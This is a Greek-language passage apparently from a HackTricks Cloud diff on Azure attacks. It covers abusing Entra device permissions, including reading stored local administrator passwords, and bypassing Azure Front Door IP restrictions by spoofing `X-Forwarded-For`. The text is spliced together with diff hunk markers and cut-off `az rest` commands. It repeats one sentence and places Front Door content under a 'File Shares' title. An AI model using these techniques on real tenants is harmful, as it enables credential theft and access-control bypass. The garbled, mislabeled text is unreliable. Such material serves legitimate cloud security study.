Αυτή η άδεια επιτρέπει στους επιτιθέμενους να συσχετίσουν τον λογαριασμό τους με συσκευές για να αποκτήσουν πρόσβαση ή να παρακάμψουν πολιτικές ασφαλείας.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -274,7 +282,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Αυτή η άδεια επιτρέπει στους επιτιθέμενους να διαβάσουν τις ιδιότητες των αποθηκευμένων διαπιστευτηρίων του τοπικού λογαριασμού διαχειριστή για συσκευές που είναι συνδεδεμένες με το Microsoft Entra, συμπεριλαμβανομένου του κωδικού πρόσβασης.
Αυτή η άδεια επιτρέπει στους επιτιθέμενους να διαβάσουν τις ιδιότητες των αποθηκευμένων διαπιστευτηρίων του τοπικού διαχειριστή για συσκευές που είναι συνδεδεμένες με το Microsoft Entra, συμπεριλαμβανομένου του κωδικού πρόσβασης.
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -0,0 +1,18 @@
# Az - File Shares
{{#include ../../../banners/hacktricks-training.md}}
## RemoteAddr Bypass
Αυτή η **[ανάρτηση στο blog](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** εξηγεί πώς όταν ρυθμίζετε κάποιους περιορισμούς δικτύου με το Azure Front Door μπορείτε να φιλτράρετε με βάση το **`RemoteAddr`** ή το **`SocketAddr`**. Η κύρια διαφορά είναι ότι το **`RemoteAddr`** χρησιμοποιεί πραγματικά την τιμή από την HTTP κεφαλίδα **`X-Forwarded-For`**, καθιστώντας το πολύ εύκολο να παρακαμφθεί.
Για να παρακαμφθεί αυτός ο κανόνας μπορούν να χρησιμοποιηθούν αυτοματοποιημένα εργαλεία που **brute-force IP διευθύνσεις** μέχρι να βρουν μία έγκυρη.
Αυτό αναφέρεται στην [τεκμηρίωση της Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
## References
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
{{#include ../../../banners/hacktricks-training.md}}